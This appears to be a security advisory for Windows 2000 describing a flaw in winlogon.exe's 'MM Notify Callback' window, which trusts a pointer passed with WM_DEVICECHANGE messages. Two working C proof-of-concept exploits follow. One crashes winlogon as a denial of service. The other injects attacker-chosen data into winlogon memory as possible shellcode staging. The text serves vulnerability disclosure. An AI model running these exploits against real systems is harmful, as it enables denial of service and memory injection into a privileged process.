COMMAND
winlogon
SYSTEMS AFFECTED
Win2000
PROBLEM
'ryagin' found following. As well as recent "NetDDE Agent"
window hosted by winlogon.exe, there is one another window: "MM
Notify Callback". It is hosted by winmm.dll which is loaded into
winlogon.exe.
Windows procedure seems to handle few messages, WM_CREATE,
WM_DESTROY, WM_CLOSE, WM_TIMER, and, the most interesting,
WM_DEVICECHANGE.
The primary role of WM_DEVICECHANGE message is informing the
user-space environment about device plug/unplug and related
issues.
The "MM Notify Callback" window analyses only "MM Notify Callback"
DBT_DEVICEARRIVAL [0x8000] and DBT_DEVICEREMOVECOMPLETE [0x8004]
sub-messages (arriving from wParam).
When it gots this messages, it reads data structure, interpreting
lParam as pointer. Data structure must have value 0x00000005 at
offset+0x4 and must have special GUID value at offset+0xC, and
must have null-terminated uncode string ot offset+0x1C.
This issue most probably cannot serve for executing code with
SYSTEM priveleges, but this requires more accurate research.
Quick look at winmm.dll code shows that supplied structure doesn't
used in copy operations into random memory addresses, however, you
can fill region of winlogon's memory with practically any
user-supplied data (the only prohibited value is unicode 0x0000
string terminator).
This can be used as shellcode for another winlogon's bug, for
example. Nevertheless, by running exploit from the bottom of
message, you can crash winlogon.exe with access violation.
Thus have little value for ordinary Workstations and Servers, but
can be used to DoS against Terminal Servers.
Exploit 1: crashes winlogon with access violation
Exploit 2: inject data string of 'ABCD' x 0x1000 (in unicode) into
winlogon memory space
----- exploit 1-------
#include <windows.h>
#include <stdio.h>
DWORD exploit[]={0x11223344,0x5, 0x55667788,
0x6994AD04,0x11D093EF,0xA000CCA3,0x963122C9
};
int main()
{
HWND hwnd=FindWindow("MM Notify Callback","MM Notify Callback");
printf("Window=%x\n",hwnd);
SendMessage(hwnd, WM_DEVICECHANGE, 0x8000,0x00000000);
// ^^^^^^^^^^ AV address
return 0;
}
----- exploit 2-------
#include <windows.h>
#include <stdio.h>
DWORD exploit[]={0x11223344,0x5, 0x55667788,
0x6994AD04,0x11D093EF,0xA000CCA3,0x963122C9
};
int main()
{
DWORD *ptr;
DWORD i,j;
HWND hwnd=FindWindow("MM Notify Callback","MM Notify Callback");
printf("Window=%x\n",hwnd);
ptr = (DWORD*)malloc(0x1000*4+sizeof(exploit));
for(i=0;i<sizeof(exploit)/sizeof(exploit[0]);i++)
ptr[i]=exploit[i];
for(j=0;j<0x1000;j++) ptr[i+j]='ABCD';
SendMessage(hwnd, WM_DEVICECHANGE, 0x8000,(DWORD)ptr);
return 0;
}
SOLUTION
Nothing yet.